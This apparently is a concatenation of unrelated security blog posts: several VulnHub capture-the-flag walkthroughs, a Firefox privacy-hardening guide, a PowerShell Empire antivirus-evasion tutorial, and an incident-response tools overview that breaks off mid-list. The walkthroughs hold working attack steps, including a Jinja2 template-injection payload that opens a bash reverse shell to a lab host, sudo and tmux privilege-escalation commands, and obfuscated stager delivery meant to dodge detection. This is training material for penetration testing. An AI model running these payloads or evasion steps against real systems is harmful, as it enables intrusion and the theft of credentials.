Now we connect to the FTP service again and we upload the backup.sh payload file using the put command. The upload was successful.

ftp 192.168.0.165

goper

put backup.sh

ls

Post Exploitation

We started the netcat listener to capture the session generated by payload. We get the session in a few moments. After getting the session, we use the sudo -l command to check for the binaries that can be used to escalate the privilege on the target machine. We can see that we can execute the status.py file with root permissions as jenny user. That means we need to first replace the status.py with a reverse shell and get a session as jenny user.

nc -lvp 8080

sudo -l

We created a reverse python shell targeting port 8888 of our local machine.

Now we need to send this file to the Target machine. For this we will be using the FTP service. Now that we have uploaded a shell file but it wont have the execution privileges. For this we will use the chmod command from the FTP shell as shown in the image below.

put status.py

chmod 777 status.py

Now we create the listener on the port 8888 and get back to the session we have as the goper user. Here we will execute the file we just uploaded as jenny user.

sudo -u jenny /usr/bin/python3 /home/goper/status.py

We get back to the listener we created. Here we can see that we have a session as jenny. We move to the tmp directory as it has write permissions. Then we download the pspy64 script on the target machine. We provide it with proper permissions and execute it.

nc -lvp 8888

python3 -c 'import pty; pty.spawn("/bin/bash")'

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

chmod 777 pspy64

./pspy64

We see that there are processes related to tmux server. This means that it is possible to get the root using tmux.

We also take a look at the history and find that a lot of tmux was used. This command shows that a session of tmux is being shared. We can also see that tmux default is located in the opt directory.

Privilege Escalation

To get root from tmux is not that difficult of a task. If you are not familiar to tmux or getting root as tmux, check our article here. We need to Export the Term to xterm to execute it using tmux.  Now use the tmux to attach the default socket.

export TERM=xterm

tmux -S /opt/.tmux-0/sockets/default attach

Now that tmux is executed with set the TERM to xterm and we have the root privilege as shown in the image below. Now, we will traverse into the root directory to read the root flag. This concludes this box.

id

cd /root

ls

cat proof.txt

Introduction

This is a second article in the series “Firefox for Pentester”. Previously we talked about how we can enhance the Privacy and Protection in Firefox using various add-ons and so, in this article we will become competent to protect ourselves online through the configuration options that Firefox provides us. In comparison to other browsers, Firefox protects our data and information the most. And we all know that Mozilla Firefox is plausibly the best browser available today. It provides privacy features, active development, amazing security, and the cherry on top is it has frequent updates.  But we can still make it much more secure by modifying a few options.

Table of Content:

·         Introduction

·         Configuration Settings

·         Isolating First Party Domains

·         Preventing Browser Fingerprinting

·         Enabling Tracking Protection (Browser Fingerprinting)

·         Enabling Tracking Protection (Crypto Mining)

·         Enabling Tracking Protection

·         Blocking Ping Tracking

·         Disabling URL Preloading

·         Keeping Clipboard Private

·         Disabling EME Media

·         Restricting DRM Content

·         Disabling Media Navigation

·         Restricting Cookie Behaviour

·         Control Referrer Header

·         Restricting Referrer Header

·         Restricting WebGL

·         Disabling Session Restoring

·         Disabling Beacon

·         Securing Remote Downloads

·         Firefox Prefetching

·         Disabling IDN Punycode Conversion

·         Conclusion

Configuration Settings

When playing with the configurations in Firefox, numerous elements should be examined. Every option should be understood well enough for the changes to be made as they will change the way you browse your internet. To make changes in configurations of Firefox, type “about:config”in the URL bar as shown in the image below:

Once the about:config page loads, it will show you a warning. The warning will state that from here on if you change anything then it will void your warranty and whatever changes you make will be at your own risk. To move forward from here left click on the “I accept the risk!” as shown in the image above. Once you click on the button, you will meet with the page shown in the image below. Here are all the options regarding online privacy and protection present.

Isolating first-party Domains

Through the first option, we will modify is “privacy.firstparty.isolate”. This built-in characteristic allows you to only access first-party domains. That means all the third-party domains that tag along the first-party domains are now blocked and cannot track your activity online or collect your data. All this is possible as it isolates the first-party domains from others and stores your data separately so that cross-origin tracking is nullified. Hence, third-party cookies, hidden cookies, data sharing, and other options will be disabled.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

privacy.firstpart.isolate

Preventing browser fingerprinting

The next option is “privacy.resistFingerprinting”. To understand what this option does, let us first understand what is browser fingerprinting. Client-side scripting that allows the website to load in the browser permits browser fingerprinting. Through this, they collect the information about the browser, operating system, cache-control header, all kinds of headers, list of fonts, plugins that are being used, microphone, camera, etc. Hence, they are called cookie-less monsters. This process of browser foot-printing starts the moment a connection is made with the website. And these features are exploited through credential hijacking, data breaching, etc. All of this can be stopped by enabling the “privacy.resistFingerprinting” option in your browser.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

privacy.resistFingerprinting

Enabling Tracking Protection (Browser Fingerprinting)

The next option that we are going to talk about is privacy.trackingprotection.fingerprinting.enabled . It works the same as the previous one. As this one too protects you from browser fingerprinting. Along with preventing tracking over the websites, it also prevents phishing attacks.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

privacy.trackingprotection.fingerprinting.enabled

Enabling Tracking Protection (Crypto Mining)

The problem with crypto miners is that the calculations they do, require huge resources such as CPU, power, and RAM. These resources are expensive and not everyone can afford it. So, what hackers do is that they control systems of various people and carry out the deed of crypto mining from there system. So to stop your browser to fall victim to cryptomining all you have to do it enable the privacy.trackingprotection.cryptomining.enabledoption.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

privacy.trackingprotection.cryptomining.enabled

Enabling Tracking Protection

Our next option i.e. privacy.trackingprotection.enabled enables us to completely stay non-existent to the tracking that is done through the browser. Tracking is keeping a record of your internet searches, the website you visit, data you share, etc. and this option nullifies it by blocking every kind of tracking. It works on the disconnect.me filter list.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

privacy.trackingprotection.enabled

Blocking Ping tracking

To understand the next option which is the browser.send_pings, let us first understand hyperlink auditing. It is a method of tracking where the HTML code makes your browser ping a specified URL. This URL is pinged upon the visitation of the website that you mean to visit. This method is of tracking is different from other methods as it doesn’t give users any kind of choice. It just runs in the background without the user knowing. So to shut this method of tracking, you have to go into the configuration of the Firefox and disable the browser.send_ping option. This option here makes sure that the browser blocks every kind of hyperlink auditing.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default as to allow hyperlink auditing. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

browser.send_pings

Disabling URL preloading

This browser.urlbar.speculativeConnect.enabledoption helps us to control URL preloading. Whenever typing in the URL, halfway through the typing you must have noticed the auto-completion of the URL. This is known as URL preloading. How this works is when you start by typing a URL, it will send out domain queries so that it can carry on with auto-completion. And so, by disabling it, the preloading of URLs into the URL bar will stop. This helps to prevent the suggestions which you do not want or which can be presumed as insecure.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

browser.urlbar.speculativeConnect.enabled

Keeping Clipboard private

Whenever you copy, cut or paste anything from or to the website; it gets notified in detail so much as that they will know what part of the webpage you copied. This is done by keeping a track of your clipboard. Through the dom.event.clipboardevents.enabled option we can make sure that the websites do not track our data from the clipboard.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

dom.event.clipboardevents.enabled

Disabling EME media

There have been many instances recorded where medias files have been downloaded. These files were proved to be encrypted when they downloaded their self, it was hard to detect them and their data. Firefox provides us with an option through which we can make sure nothing of such sorts happen.

This media.eme.enabled option is set to false by default. This means that no encrypted media will be download without the user’s permission. It can be searched through the search bar. If by any chance this option is enabled, make sure to disable it as soon as possible. And if it is disabled by default then the status of this configuration will remain default as shown in the image below:

media.eme.enabled

Restricting DRM content

The content you surf on the internet can never be trusted. Usually, when DRM based software’s are running on the website, they can have file-level control and even user-level control. The user-level control allows them to access, share, download, or print anything they desire. Therefore, you must be in control always. Even if your browser nags you to enable DRM content you shouldn’t fall for it because if you do not want to see it shouldn’t be able to see it. Firefox provides us with an option i.e.media.gmp-widevinecdm.enabled that allows you to restrict DRM content.

This option can be searched through the search bar. By default, this option is set to the value false i.e. it is disabled by default as messes up the authentication system of many websites. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to true. Setting the value from false to true will mean that you have now enabled this option. Once the option is enabled, the status of the option will be changed from default tomodified as shown in the image below:

media.gmp-widevinecdm.enabled

Disabling Media Navigation

This option, if enabled will allow your browser to extract information from your system and present it to the websites you visit. The data collected from the system can be forwarded to the Third-party domains as well. The thing is if you allow this option then it will collect the information about the operating system, screen resolution, type of system, FrameRate, facingMode of the mobile devices, possible access to user media, etc. And to make it even worse, they can control permissions of the audio/visual tabs in the browser as well as access the camera or microphone. Hence, we all can come to an agreement that keeping this option enabled is a major threat. And to save us from the potential threats, we just have to disable the media.gmp-widevinecdm.enabledoption.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

media.navigator.enabled

Restricting Cookie Behaviour

There are various cookies generated when a website is visited. These cookies can be necessary which are used for the features of a website. And others are the unimportant cookies such as third-party cookies. These cookies are often the result of advertisements, widgets, and web analytics. They track your login information, shopping carts, language you use, etc. By default, the value for network.cookie.cookiebehaviour is set to 0. This value can be set between the numbers 0 to 4, where:

0 = accept all cookie values

1 = only accept from first-party domains

2 = block all cookies by default

3 = use p3p settings

4 = storage access policy: Block cookies from trackers

We will select value 1 here as we only want cookies from first-party domains.

network.cookie.cookieBehavior

This option can be searched through the search bar. Once the value of the option is changed, the status of the option will be changed from default to modified as shown in the image below:

Control Referrer Header

While browsing the internet, a referrer header is sent to the website which is requested. This header contains the information about the page where u previously was and from where did you request the next webpage.  Usually, the Firefox will not send a referrer header from HTTPS to HTTP. Sending such information over a referrer header creates security issues as they can expose your personal information and private data. To put it simply using this option you will be able to control whether you want the referrer to be sent over the cross origins or not.  Now, this data can send to different origin domains i.e. across origins.  But Firefox’s built-in tracking protection provides a solution to it through network.http.referer.XOriginPolicy option. This value can be set between the numbers 0 to 2, where:

0 = send the referrer in all cases

1 = send referrer only when the base domains are the same

2 = send referrer only on the same origin

The default value of this option is 0 i.e. send the referrer in all cases and we will change its value to 2 i.e. send the referrer only to the same origin.

network.http.referer.XOriginPolicy

This option can be searched through the search bar. Once the value of the option is changed, the status of the option will be changed from default to modified as shown in the image below:

Restricting Referrer Header

With the previous configuration setting, we learned that we can control whether we want to send referrer headers across origins or not. Now there will be many situations where it will be necessary for you to send these referrer headers across origin or even in the same origin. Here, what you can do it restrict the header by controlling the elements of the header. The option network.http.referer.XOriginTrimmingPolicyallows us to do so.  This value can be set between the numbers 0 to 2, where:

0 = send the full URL

1 = send the URL without its query string

2 = only send the origin

The default value of this option is 0 i.e. send the full URL and we will change its value to 2 i.e. only send the origin.

network.http.referer.XOriginTrimmingPolicy

This option can be searched through the search bar. Once the value of the option is changed, the status of the option will be changed from default to modified as shown in the image below:

Restricting WebGL

WebGL is an option provided by Firefox which turns every webpage into 3D graphics. Alas! It comes with various security flaws. It makes it possible for the attackers to target your graphic drivers along with GPU to extend of making your whole system useless. Whether you want to use such an option or not is left to user decision by Firefox when it introduced webgl.disable configurational setting. Through this option, you can disable the WebGL.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. But if you are pro-privacy and anti-tracking like us then you should double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from defaultto modified as shown in the image below:

webgl.disabled

Disabling Session Restoring

There are times where the user experiences some crashes or power outages that cause the system to shut down. If the user has some URLs opened in the browser or logged in some application they are restored when the user restarts the system. Ever since the release of Firefox 2.0 this option is enabled by default. Some users feel that this is a good functionality that helps them recover data or sessions but this poses a security threat as the if the original intended user doesn’t restart the system or if this happens on a Public system than the person who accesses the system after the restart gains the potential access of that logged-in sessions and websites that the original user was browsing. This option contains 3 possible values.

0 = Store Extras Session data for any site

1 = Store Extra Session data for unencrypted (non-HTTPS) sites only

2 = Never store extra session data

The default value of this option is 0 i.e. Store the session data for any site and we will change its value to 2 i.e. Never store any data.

browser.sessionstore.privacy_level

This option can be searched through the search bar. Once the value of the option is changed, the status of the option will be changed from default to modified as shown in the image below:

Disabling Beacon

IEEE 802.12.4 says that beacon-enabled mode is to be applied through the network. It sends information about the personal network to the servers to inform them about the presence. This allows new devices to connect from time to time. It is useful to maintain network synchronization. But it not compulsory as it sends over the details about the network you are on.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. You can double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

beacon.enabled

Securing Remote Downloads

By default, remote safe downloads are enabled in Firefox. And we have often talked about the instances where the file that is being downloaded seems genuine but instead, it can be a malware. And you can never be too sure. Using browser.safebrowsing.downloads.remote.enabled we can be a step closer to know we are downloading safe files and nothing is remotely tagging along with the file.

This option can be searched through the search bar. By default, this option is set to the value true i.e. it is enabled by default. You can double left-click on this option to change its value to false. Setting the value from true to false will mean that you have now disabled this option. Once the option is disabled, the status of the option will be changed from default to modified as shown in the image below:

browser.safebrowsing.downloads.remote.enabled

Firefox Prefetching

As the name tells, prefetching in Firefox is done to speedily load webpages for the user. A browser can always summon the parameters beforehand that it knows will be used by the websites. These parameters contain data regarding resources to be used. Hence, at any point in time, they can be request and the browser will prefetch the required information for the user. The browser will foretell the domain names that you are most likely to visit which speeds up the process of domain name resolving. This option was developed to save time on the user end but it turned out to be a security concern. Firefox can prefetch things like DNS, network, IP address, etc.

This prefetching can be done via DNS (everything related to DNS) or HTTPS (HTTPS contents). And has been proved to be a security concern and so both DNS and HTTPs prefetching can be disabled via the following options:

network.dns.disablePrefetch

network.dns.disablePrefetchFromHTTPS

Both options are set to false by default. To disable these options, change them to true and there will be no DNS and HTTPS prefetching. Once these options are disabled, the status of these options will be changed to locked just as it is shown in the image below:

Another prefetcher that you can disable is network predictor. This option prefetch all the details related to the network that you are connected to. It can be disabled by setting it value to false. This value is set to be true by default. Once the change option’s value to false; its status is changed to modified as shown in the image below:

network.predictor.enabled

Another option to disable to disallow the browser to prefetch network details is network.predictor.enable-prefetch. This option is allowing all the network details to be prefetched as its name suggests. It can be disabled by setting it value to false.

network.predictor.enable-prefetch

The network.prefetch-next option allows certain links to be prefetched. This is done when the website lets the browser know that certain pages are likely to be visited. Therefore, the browser downloads them beforehand for the convenience of the users.  It can be disabled by setting it value to false. This value is set to be true by default. Once the change option’s value to false; its status is changed to modified as shown in the image below:

network.prefetch-next

Disabling IDN Punycode Conversion

Before understanding this particular option, first, you need to understand the meaning of IDN support. IDN makes it possible for the website to register the domain names using the characters that are originated from their local or native language. To expand the support of these characters a new encoding was developed called “Punycode”. By default, the value network.IDN_show_punycode is false. This means IDN is enabled. But no matter how good a feature is, it can be abused. This was shown when in 2005 there was a huge rise in Spoofing and Phishing attacks using IDNs. This can be explained using the following example:

Original Domain: https://hackingarticles.in

Pishing Domain: https://hackingarticlés.in

Notice the é in the pishing domain. When this option is enabled it converts é to e so that users that don’t use é in their language can see it as simple e. But this conversion also makes it impossible for a user to visually differentiate between the genuine and phishing domains.

This value is set to be false by default. Once the change option’s value to true; its status is changed to modified as shown in the image below:

network.IDN_show_punycode

Conclusion

By enabling and disabling the configurations options provided by Firefox you can achieve privacy and protection online without using plug-ins. This is a safe procedure as the third-party domain cannot track you. If you are having issues with any particular web application or authentication or media with these options enabled/disabled then what you should do is create a container in Firefox by using a temporary container plugin or profiling that is provided by Firefox. So that you are safe and cross-origin tracking isn’t done in your browser. Hence your data and personal information are safe.

Today we are going to solve another boot2root challenge called "Insanity: 1".  It's available at VulnHub for penetration testing and you can download it from here.

The merit of making this lab is due to Thomas Williams. Let's start and learn how to break it down successfully.

Level: Hard

Penetration Testing Methodology

Reconnaissance

§  Netdiscover

§  Nmap

Enumeration

§  Dirsearch

§  Wireshark

Exploiting

• SQL Injection through e-mails
• Password theft in database
• Weak hash cracking

Privilege Escalation

§  Cracking to passwords stored in Firefox

§  Capture the flag

Walkthrough

Reconnaissance

We are looking for the machine with netdiscover

$ netdiscover -i ethX

So, we put the IP address in our "/etc/hosts" file and start by running the map of all the ports with operating system detection, software versions, scripts and traceroute.

$ nmap -A –p- insanity.vh

Enumeration

The recognition and enumeration of vulnerable services has been the hardest part of this machine. Since it had many services to which they managed to entangle you, turning out to be all of them (except one) rabbit holes.

Some evidence of these services (rabbit hole):

FTP:

Bludit (From here we will list the user "Otis".):

phpMyAdmin:

Having seen the above, we will go directly to the correct and vulnerable services.

We start with the organization's web service, a hosting service.

We puzzled with dirsearchand found several directories, but we will focus only on two "/monitoring/" and "/webmail/".

Well, we used the user "otis" and the password "123456" (I took it out with guessing).

We will enter a panel are monitoring the internal server, we see that we can add new servers.

We insert our IP (it can be another one that is operative) and we see that it marks us "Status: UP". What does this tell us? Well, that the application below is running ping to our machine to check if it is on.

We use dirsearchagain, this time we will fuze the content of “/monitoring/”.

We go through the directories obtained, until we reach the directory "/monitoring/class/".

We access the directory and we find what we already imagined, a "ping.php" file.

We open Wireshark and see that the machine does indeed execute a ping. Do you think the same as me? Of course we do! A command injection!

Let's do as usual, a proof of concept.

We wait for it to run, but we see that it does not work (Status: DOWN). We contrast this information with Wireshark and see that it does not move either, so we are in another "rabbit hole".

Well, nothing, we continue with the other service. Now we have a "SquirrelMail" in version 1.4.22, if you look for exploit you will find that it is vulnerable to remote code execute (RCE), but I already advance you that it will not work either xD.

We use the same credentials, access the "Inbox" and see that emails with errors are arriving. Attention! These emails only appear if the server is "DOWN".

We read one of them, if we look at it, it is structured in 4 columns... This is something that called my attention a lot, since it seems to be loading this information through a database.

Seeing this, I lost my mind and came up with the crazy idea of launching a payload list of SQL Injection (/usr/share/wfuzz/wordlist/vulns/sql_inj.txt).

Configuration Attack:

Executed attack:

We are checking all the emails that we receive, we find this one that shows "Localhost", therefore, the site is vulnerable to SQL Injection.

We do another test, this time we list the hostname and version of MariaDB.

Exploiting

We continue to exploit the vulnerability, although this would be faster by posting only 3 photos, I think it is worth seeing all these images, which will help us learn how to exploit SQL injection without any tools.

Obtain user and database:

Obtain all databases:

Obtain all tables:

Obtain all the columns in a table:

Dump users, passwords and emails:

After trying to crack the hashes of the two (hidden) users, it is not possible to obtain it even with JTR, Hascat or other online tools. Everything looks like another "rabbit hole".

We continue to list and find these two hashes in the "mysql" database.

The 2nd hash does not correspond to that of a MySQL, we use the online tool "hashes.com" and obtain the password in plain text.

We logged in through SSH and great! We are in!

Privilege Escalation (root)

We do an "ls -lna" and see that we have a "Mozilla Firefox" folder, very very rare.

Whenever you see software folders, check it out, because it's not normal.

We check if the browser has been storing user passwords. How to check this? As simple as listing these 4 files.

If these files exist, it means that they contain passwords and we can use a tool “Firefox_Decrypt” to obtain the passwords in plain.

We download the tool, choose the 2nd optionand we will NOT give you a password when you ask for the "Master Password".

We will get some credentials in the "root" user plane.

We try to authenticate with the user "root" and the password obtained and.... Yes! we are root!

We read the flag and have a good coffee.

Author: David Utón is Penetration Tester and security auditor for Web applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks. Contacted on LinkedInand Twitter.

In this article, we will learn the technique of Defence Evasion using the PowerShell Empire. PowerShell Empire is one of my favorite Post Exploitation tools and it is an applaudable one at that.

Table of Contents:

·         Installation

·         Getting a session with Empire

·         Obfuscating with Empire

Installation

When evading all the target defenses with Empire, it is important to focus on installation. There are two methods to install Empire, obfuscating scripts would not work if you install Empire using apt install command. But this problem wouldn’t occur if you use the git clone command as shown in the image below.

git clone https://github.com/BC-SECURITY/Empire

The above command will download Empire on your system and to install it, use the following command:

cd Empire/

cd setup/

.install.sh

Getting a session with Empire

With the above commands, your Empire is downloaded and installed. Let us now get the Empire up and running and take a session of the target system. Once you start Empire, the first thing to do is to start a Listener. And to start a listener, use the set of following commands:

listeners

uselistener http

set Port 80

execute

The above commands will start a listener on port 80. Once the listener is active, we have to launch a stager. The stager that we are going to use in this article is of windows and is in batch language. To launch the stager, use the following set of commands:

back

usestager windows/launcher_bat

set Listener http

execute

Once your malware is ready, it will be stored in /tmp directory by default as you can see in the image above. To send this bat file to the target system, you can use python one-liner server or any other method you like. We used a python server for our this practical. To use the python server, type the following command in the directory where the file is saved like in our case it was /tmp directory:

python -m SimpleHTTPServer

Once the file is executed in the target system. You will get your session as it is shown in the image below. To access the session or agent (as per the Empire terminology) use the following commands:

agents

interact <agent name>

In the event viewer, you can go to the Applications and Services Logs > Microsoft > Windows > PowerShell > Operational and check the log made by the batch file from Empire as shown in the image below:

Obfuscating with Empire

Now, you can see in the image above that the log of the file gives proper detail of the malicious file. These details include the code of the file, where the file is stored, and other important details. These details, when readable by the system, makes it easy for the file to be detected. For successfully attacking the target, it is important to evade all the defenses put up by the target. And to do so, we will globally obfuscate the Empire and then create our malicious file. Obfuscating the Empire will mean all the malicious files that will be generated from Empire will be obscure i.e. they will be had to detect in the target system and will allow you to bypass the defense systems like antiviruses. To obfuscate the Empire, use the following command first:

preobfuscate

The above command will download all the scripts required for the obfuscation.

The command executed above takes a bit of time but if it allows us to be successful in our attack then little time is no problem and most importantly it is worth it. Once all the obfuscating scripts are downloaded, execute the following command:

set Obfuscate true

This command will initiate the obfuscating and all the stagers developed and agents created will be obfuscated, which you can see in the image below:

Now once the obfuscation is active, we will once again execute the listener as shown previously in this article and once the listener is up and running we will launch a stager with the following set of commands:

usestager windows/launcher_bat

set Listener http

execute

Similarly, like before, use the python server to deliver the malicious file to the target system.

Once the file is executed in the target system; you will get a new session as shown in the image below. To access the new agent, use the following commands:

agents

interact <agent name>

Now the session we have received is through obfuscation and we will confirm this by using Event Viewer. Follow the same path as earlier (Applications and Services Logs > Microsoft > Windows > PowerShell > Operational) in the Event Viewer to see the log created by our malicious file.  AS you can see in the image below, the details that the log has now is vague and confusing. This makes the file unreadable by the system and is successful in dodging defenses such as anti-viruses.

This way Obfuscated Empire can save you from getting caught in the target system. It is important to learn such techniques to glide by the defenses in the target system to test whether the defenses in the place are proper or not.

Today we are going to solve another boot2root challenge called "Tempus: 3".  It's available at VulnHub for penetration testing and you can download it from here.

The merit of making this lab is due to @4nqr34z& @theart42. Let's start and learn how to break it down successfully.

Level: Hard

Penetration Testing Methodology

Reconnaissance

§  Netdiscover

§  Nmap

Enumeration

§  Ghidra

Exploiting

• SSTI (Server Site Template Injection)
• Dump credentials database SQLite
• Malicious Module Processwire (Reverse Shell)

Privilege Escalation

§  Backups and abuse OPT Auth Google

§  Abuse script created users with arbitrary UID

§  Reversing binary and ping binary abuse

§  Capture the flag

Walkthrough

Reconnaissance

We are looking for the machine with netdiscover

$ netdiscover -i ethX

$ nmap -A –p- tempusf3.vh

Enumeration

We access the web service and start listing versions, code, users...

In the following image, we see 3 users, and the image tells us that we are going to have fun with this machine xD.

We listed an authentication panel, we tried brute force, but it is not possible to access it.

Forcing the application to show some error, we see that it writes what we pass it through the URL.

This reminded me that I might be vulnerable to SSTI (Server Side Template Injection), so let's do a proof of concept:

Exploiting

Before we will check what type of template you use, if it is "jinja2" it will show the number of times the number we multiply it, otherwise it will multiply it giving "81", in this case it will be "twig".

As you can see, we are in front of a "jinja2".

Indeed, it is vulnerable. We are going to try to execute a command to check if it prints it on the screen.

$ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Now we will put a netcat to listen and we will execute the following command to obtain a reverse shell.

$ {{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.168.10.167/4444 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}

We read the file "app.py", this file contains the "secret_key" (flag nº1) and "pragma key".

We decode the base64 and find the first flag.

Listing the binaries we have access to, we find "sqlcipher", if we look for information about "pragma key", we will find that to dummy the information, we will need the help of this tool.

These will give us the three registered users on the website and another flag.

We decode and get another flag.

We access the 3 users with their respective passwords, we will obtain the same information.

In that string in base64 we will find the flag nº 2.

We decode again.

If we look, both profiles show us the number "37303". We do an internal port scan with a python script (In google there are many).

We list three open ports, including "37303".

We do a port forwarding and see that this port corresponds to an OpenSSH.

We repeat the port forwarding, this time with port 443.

We will have access to a new website, we see that it gives us the clue that "Hugh Janus" is the administrator.

We see that the user "Anita" has come up with the great idea, that users can upload files.

We also list the access to the administrator panel.

We tried to access with the user "Hugh-janus" but it gives us error, now we try with the user "admin" and the password of "Hugh", we will enter without problem to the panel.

We found an upload to upload modules, we downloaded a proof of concept module from the official website.

We unzip, edit the file "Helloworld.module.php" and add to the "else" a reverse shell.

We upload the file and load it.

We put a netcat to listen and edit any page of the CMS. We check our terminal and we will have access to the machine.

Privilege Escalation (user Myrtia)

After an exhaustive enumeration, we find an image in the "backups" folder, the name mentions one of the users of the system.

This is a QR code, we read it and it will give us a temporary code to access a service.

This reminded me of a machine I did recently, so I set up this "OUPAUTH" (possibly Google Authentication) to my cell phone and we connected via SSH.

And also, we check that we can execute the "addcustomer" script with the root user.

We run the script, fill in the data and then check if it is possible to create users.

The following image shows that it is.

At the moment, we don't find it very useful, besides the script is executed from the root directory and we don't have access to it.

We continue listing the user's home files that we have gained access to and read the 4th flag.

Privilege Escalation (user Cecil)

We keep listing files and directories, we find a file called "...", quite suspicious and with a different UID. We do not have access to this file.... But... What if we create a new user and assign this UID?

Let's give it a try! We create a new user, we assign it suid"1337", we check that the user has been successfully created by reading the "/etc/passwd".

We authenticate with the new user, execute our two favorite commands to get an interactive shell and read the file "...".

We get a private key from OpenSSH.

We are not clear to which user it belongs, so we will try one by one until we manage to connect with the user "cecil".

Privilege Escalation (root)

According to a clue given by one of its creators, the "ping" binary had to be revised. We opened ghidra and found that the binary opens a shell if the UID and the string "deadbeef" match when executing the "ping" command.

We already have the user equivalent to the UID, we just need to execute the command specifying "deadbeef".

We execute a ping, the binary will do its checks and will give us a shell as root.

And finally, we will read the last flag.

Author: David Utón is Penetration Tester and security auditor for Web applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks. Contacted on LinkedInand Twitter.

In this article, we will gather information utilizing the quick incident response tools which are recorded beneath. All these tools are a few of the greatest tools available freely online. Through these, you can enhance your Cyber Forensics skills.

Table of Contents

·         Live Response Collection-Cederpelta Build

·         CDIR(Cyber Defense Institute Incident Response) Collector

·         Fast IR Collector

·         Panorama

·         Triage-Incident Response

·         IREC -IR Evidence Collector | Binalyze

·         DG Wingman

Introduction

INCIDENT RESPONSE

·         Incident response, organized strategy for taking care of security occurrences, breaks, and cyber attacks.

·         IR plan permits you to viably recognize, limit the harm, and decrease the expense of a cyber attack while finding and fixing the reason to forestall future assaults.

DATA COLLECTION

·         Data collection is the process to securely gather and safeguard your client's electronically stored information (ESI) from PCs, workstations, workers, cloud stores, email accounts, tablets, cell phones, or PDAs.

Proof of Concept

Live Response Collection-Cederpelta Build

Live Response Collection -cedarpelta, an automated live response tool, collects volatile data, and create a memory dump. .This tool is created by BriMor Labs.

You can download the tool from here.

Live response is a zone that manages gathering data from a live machine to distinguish if an occurrence has happened. Such information incorporates artifacts, for example, process lists, connection information, files stored, registry information, etc.

Itsupports Windows, OSX/ mac OS, and *nix based operating systems. This instrument is kind of convenient to utilize on the grounds that it clarifies quickly which choice does what.

Let’s begin by exploring how the tool works:

The live response collection can be done by the following data gathering scripts

• Secure-Complete: Picking this choice will create a memory dump, collects volatile information, and also creates a full disk image. All the information collected will be compressed and protected by a password.
• Secure-Memory Dump: Picking this choice will create a memory dump and collects volatile data. All the information collected will be compressed and protected by a password.
• Secure- Triage: Picking this choice will only collect volatile data. All the information collected will be compressed and protected by a password.

• Complete: Picking this choice will create a memory dump, collects volatile information, and also creates a full disk image.
• Memory dump: Picking this choice will create a memory dump and collects volatile data.
• Triage: Picking this choice will only collect volatile data.

The process of data collection will begin soon after you decide on the above options. This might take a couple of minutes.

After, the process is over it creates an output folder with the name of your computer alongside the date at the same destination where the executable file is stored.

The output folder consists of the following data segregated in different parts.

These are few records gathered by the tool. You can check the individual folder according to your proof necessity. It collects RAM data, Network info, Basic system info, system files, user info, and much more.

CDIR (Cyber Defense Institute Incident Response) Collector

CDIR (Cyber Defense Institute Incident Response) Collector is a dataacquisition tool for the Windows operating system. The tool is created by Cyber Defense Institute, Tokyo Japan. The tool collects RAM, Registry data, NTFS data, Event logs, Web history, and many more.

You can download the tool from here.

Let’s begin by exploring how the tool works:

There are three options

1. To initiate the memory dump process (1: ON)

2. To stop the memory dump process and (2: OFF)

3. Exit (0: EXIT)

After successful installation of the tool, to create a memory dump select 1 that is to initiate the memory dump process (1:ON)

Soon after the process is completed, an output folder is created with the name of your computer alongside the date at the same destination where the executable file is stored.

Fast IR Collector

